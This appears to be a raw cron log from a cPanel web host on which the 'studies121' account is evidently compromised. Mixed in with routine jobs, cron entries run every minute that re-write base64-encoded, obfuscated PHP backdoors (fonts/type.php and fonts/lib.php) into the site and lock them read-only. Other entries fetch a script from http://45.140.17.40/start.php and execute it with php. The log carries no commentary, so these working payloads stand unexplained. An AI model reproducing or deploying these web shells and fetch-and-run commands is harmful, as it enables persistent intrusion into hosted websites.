Sep  8 14:53:01 ip-184-168-122-23 CROND[5769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:53:01 ip-184-168-122-23 CROND[5768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:54:01 ip-184-168-122-23 CROND[5843]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:54:01 ip-184-168-122-23 CROND[5845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:54:01 ip-184-168-122-23 CROND[5847]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 14:54:01 ip-184-168-122-23 CROND[5846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:54:01 ip-184-168-122-23 CROND[5848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:55:01 ip-184-168-122-23 CROND[5943]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:55:01 ip-184-168-122-23 CROND[5945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:55:01 ip-184-168-122-23 CROND[5948]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 14:55:01 ip-184-168-122-23 CROND[5946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:55:01 ip-184-168-122-23 CROND[5947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:55:01 ip-184-168-122-23 CROND[5949]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 14:56:01 ip-184-168-122-23 CROND[6045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:56:01 ip-184-168-122-23 CROND[6044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:56:01 ip-184-168-122-23 CROND[6048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:56:01 ip-184-168-122-23 CROND[6047]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 14:56:01 ip-184-168-122-23 CROND[6052]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:57:01 ip-184-168-122-23 CROND[6246]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:57:01 ip-184-168-122-23 CROND[6249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:57:01 ip-184-168-122-23 CROND[6248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:57:01 ip-184-168-122-23 CROND[6250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:58:01 ip-184-168-122-23 CROND[6336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:58:01 ip-184-168-122-23 CROND[6337]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 14:58:01 ip-184-168-122-23 CROND[6340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:58:01 ip-184-168-122-23 CROND[6341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:58:01 ip-184-168-122-23 CROND[6343]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:59:01 ip-184-168-122-23 CROND[6436]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:59:01 ip-184-168-122-23 CROND[6437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:59:01 ip-184-168-122-23 CROND[6438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:59:01 ip-184-168-122-23 CROND[6435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:00:01 ip-184-168-122-23 CROND[6540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:00:01 ip-184-168-122-23 CROND[6542]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 15:00:01 ip-184-168-122-23 CROND[6544]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 15:00:01 ip-184-168-122-23 CROND[6545]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 15:00:01 ip-184-168-122-23 CROND[6548]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:00:01 ip-184-168-122-23 CROND[6547]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:00:01 ip-184-168-122-23 CROND[6546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:00:01 ip-184-168-122-23 CROND[6551]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 15:01:01 ip-184-168-122-23 CROND[6653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:01:01 ip-184-168-122-23 CROND[6655]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 15:01:01 ip-184-168-122-23 CROND[6657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:01:01 ip-184-168-122-23 CROND[6658]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 15:01:01 ip-184-168-122-23 CROND[6659]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:01:01 ip-184-168-122-23 CROND[6656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[6658]: starting 0anacron
Sep  8 15:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[6674]: finished 0anacron
Sep  8 15:02:01 ip-184-168-122-23 CROND[6772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:02:01 ip-184-168-122-23 CROND[6775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:02:01 ip-184-168-122-23 CROND[6776]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 15:02:01 ip-184-168-122-23 CROND[6774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:02:01 ip-184-168-122-23 CROND[6779]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:03:01 ip-184-168-122-23 CROND[6868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:03:01 ip-184-168-122-23 CROND[6871]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:03:01 ip-184-168-122-23 CROND[6874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:03:01 ip-184-168-122-23 CROND[6875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:04:02 ip-184-168-122-23 CROND[6963]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:04:02 ip-184-168-122-23 CROND[6965]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 15:04:02 ip-184-168-122-23 CROND[6968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:04:02 ip-184-168-122-23 CROND[6967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:04:02 ip-184-168-122-23 CROND[6966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:05:01 ip-184-168-122-23 CROND[7062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
